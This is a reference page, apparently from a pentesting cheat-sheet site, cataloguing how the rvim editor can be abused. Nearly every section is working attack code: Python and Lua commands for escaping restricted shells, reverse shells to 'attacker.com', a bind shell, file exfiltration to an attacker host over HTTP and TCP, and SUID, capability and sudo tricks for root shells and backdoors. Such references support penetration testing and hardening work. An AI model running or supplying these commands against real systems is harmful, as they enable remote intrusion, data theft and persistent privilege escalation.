.. / rvim

Shell | Reverse shell | Non-interactive reverse shell | Non-interactive bind shell | File upload | File download | File write | File read | Library load | SUID | Sudo | Capabilities | Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a)

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.

```
rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

(b)

This requires that `rvim` is compiled with Lua support.

```
rvim -c ':lua os.execute("reset; exec sh")'
```

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Run `socat file:\`tty\`,raw,echo=0 tcp-listen:12345` on the attacker box to receive the shell.

```
export RHOST=attacker.com
export RPORT=12345
rvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
vim.command(":q!")'
```

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

Run `nc -l -p 12345` on the attacker box to receive the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.

```
export RHOST=attacker.com
export RPORT=12345
rvim -c ':lua local s=require("socket"); local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'
```

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.

```
export LPORT=12345
rvim -c ':lua local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'
```

File upload

It can exfiltrate files on the network.

(a)

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

```
export URL=http://attacker.com/
export LFILE=file_to_send
rvim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))
vim.command(":q!")'
```

(b)

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.

```
export LPORT=8888
rvim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'
```

(c)

Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.

```
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
rvim -c ':lua local f=io.open(os.getenv("LFILE"), 'rb')
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  t:send(d);
  t:close();'
```

File download

It can download remote files.

(a)

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.

```
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
rvim -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'
```

(b)

Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.

```
export LPORT=12345
export LFILE=file_to_save
rvim -c ':lua local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open(os.getenv("LFILE"), "wb");
  f:write(d);
  io.close(f);'
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
rvim file_to_write
iDATA
^[
w
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
rvim file_to_read
```

Library load

It loads shared libraries that may be used to run code in the binary execution context.

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.

```
rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")'
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.

```
sudo install -m =xs $(which rvim) .

./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

(a)

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.

```
sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

(b)

This requires that `rvim` is compiled with Lua support.

```
sudo rvim -c ':lua os.execute("reset; exec sh")'
```

Capabilities

If the binary has the Linux `CAP_SETUID` capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.

```
cp $(which rvim) .
sudo setcap cap_setuid+ep rvim

./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

Limited SUID

If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via `system()`-like invocations) it only works on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

This requires that `rvim` is compiled with Lua support.

```
sudo install -m =xs $(which rvim) .

./rvim -c ':lua os.execute("reset; exec sh")'
```